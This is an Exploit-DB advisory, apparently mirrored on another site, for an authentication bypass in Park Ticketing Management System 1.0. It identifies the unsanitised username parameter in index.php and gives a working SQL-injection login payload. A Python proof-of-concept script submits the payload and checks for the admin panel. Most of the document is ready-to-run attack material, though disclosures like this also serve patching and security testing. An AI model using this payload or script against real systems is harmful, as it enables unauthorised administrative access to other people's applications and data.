Park Ticketing Management System 1.0 – Authentication Bypass

  • 作者: gh1mau
    日期: 2020-07-13
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/48663/
  • # Exploit Title: Park Ticketing Management System 1.0- Authentication Bypass
    # Date: 2020-07-13
    # Exploit Author: gh1mau
    # Team Members: Capt'N,muzzo,chaos689 | https://h0fclanmalaysia.wordpress.com/
    # Vendor Homepage: https://phpgurukul.com/park-ticketing-management-system-using-php-and-mysql/
    # Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=10952
    # Version: V1.0
    # Tested on: PHP 5.6.18, Apache/2.4.18 (Win32), Ver 14.14 Distrib 5.7.11, for Win32 (AMD64)
    
    Vulnerable File:
    ---------------- 
    /index.php
    
    Vulnerable Code:
    -----------------
    line 8: $adminuser=$_POST['username'];
    
    Vulnerable Issue:
    -----------------
    $adminuser=$_POST['username']; has no sanitization
    
    POC User Login:
    ---------------
    
    URL: http://localhost/ptms/index.php
    Username : ' or '1'='1'#
    Password : anything
    
    
    Python POC:
    -----------
    
    import requests,re
    
    url = "http://localhost:80/ptms/index.php"
    
    payload = "username=%27+or+%271%27%3D%271%27%23&password=anything&login="
    headers = {
    "Origin": "http://localhost", 
    "Cookie": "PHPSESSID=eabmes4rt7uger0dlqsljitjd6", 
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8", 
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:78.0) Gecko/20100101 Firefox/78.0", 
    "Connection": "close", 
    "Referer": "http://localhost/ptms/index.php", 
    "Host": "localhost", 
    "Accept-Encoding": "gzip, deflate", 
    "Upgrade-Insecure-Requests": "1", 
    "Accept-Language": "en-US,en;q=0.5", 
    "Content-Length": "80", 
    "Content-Type": "application/x-www-form-urlencoded"
    }
    
    pattern = "PTMS ADMIN"
    response = requests.request("POST", url, data=payload, headers=headers)
    
    if re.findall(pattern,response.text):
    print("[+] Authentication bypassed using the following payload : " + payload)
    
    else:
    print("[!] Something wrong somewhere")